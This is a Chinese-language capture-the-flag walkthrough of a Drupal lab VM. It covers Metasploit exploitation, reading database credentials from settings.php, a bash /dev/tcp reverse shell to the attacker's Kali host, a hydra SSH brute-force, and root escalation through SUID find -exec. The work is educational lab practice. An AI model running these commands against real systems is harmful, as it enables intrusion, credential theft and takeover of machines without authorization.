根据PTES步骤,在做实际渗透前,信息收集是必要的
先信息收集
找到ip,扫描端口
有22端口,80端口
发现是drupal site的80端口
利用whatweb进行指纹识别,为接下来渗透准备
威胁建模:
我这里选择的是msf
信息:已知前端是drupal,考虑用msf来生成payload
我这里选择的是1,我还额外试了5发现5不行,1是可以的
info查看漏洞信息
需要设置攻击目标
set RHOSTS 192.168.218.177
options查看漏洞信息
set lhost 192.168.218.176(kali地址)
然后run,
成功
flag1提示找配置文件
所以接下来我们的目标变成搜索配置文件;发现有web.config,cat一下结果是xml文件,
想到web应用有数据库文件,数据库用户名和密码明文存储,cat一下INSTALL.mysql.txt,还是没有发现
接下来看到有sites目录,切换进去sites->default->settings.php
看到mysql密码,但是是本地的,同时flag2提示我们暴力破解不可取
很明显的,如何让我们能够连接mysql成了现在的方向
直接写是没有权限的
提权什么的不急,这里还有别的方法反弹本地shell到当前kali上
此时想到反弹shell,在kali监听一个端口,通过nc进行shell反弹
nc -lvvp 1128
bash -i >& /dev/tcp/192.168.218.176/1128 0>&1
此时提示/bin/bash不允许调用
/bin/bash -i >& /dev/tcp/192.168.218.176/1128 0>&1
emm都不行,查看发现有python环境,
用python反弹可交互shell
python -c "import pty;pty.spawn('/bin/bash')"
成功反弹本地shell到kali
连接mysql
发现有drupaldb数据库,进入查找看能不能登录80端口的网页后台
通过查找drupaldb里的users表得到
发现有admin用户,但是密码是加密过了的,这里可以不建议尝试解码,不一定解的出来,我们可以新建用户或者利用shell环境来替换密码,因为很明显的我们虽然在shell里不是管理员权限,但是我们在mysql里是管理员权限,可以替换密码,从权限上来说是可行的.
find . -type f -name “*hash*”
成功登录并找到flag3,flag3提示我们有特殊的perms可以帮助我们找到密码,还要我们执行-exec来揭示藏在阴影里的东西
现有的信息还剩下22端口,ssh没有利用,可以向这个方向努力
按照惯例,进入了shell环境,一些敏感文件是肯定要查看的,在/etc/passwd下看到了flag4
可以尝试ssh连接flag4
hydra -l flag4 -P /usr/share/john/password.lst 192.168.218.177 ssh -Vv -f
连接成功找到flag4
flag4提示看root目录,结合flag3提示的-exec,我们应该是需要提权
根据提示切换到/root发现权限不够
大概率需要提权,可以利用操作系统内核提权(不到万不得已不使用)
我们可以查看是否有一些suid标识的权限,该命令在执行过程能调用bash
find / -perm -4000 2>/dev/null
查看到find命令,利用find命令进行提权
find test -exec "whoami" \; ----->发现是root用户,但是id查看还是flag4
find test -exec "/bin/bash" \; ----->发现不行
find test -exec "/bin/sh" \; ----->此时发现euid
靶机
链接:https://pan.baidu.你com/s/170P8wG_ZuaOC好Ale4FZN3BQ?pwd=zlmn
提取码:zlmn
VM版本过高需要降版本
我推荐16就正好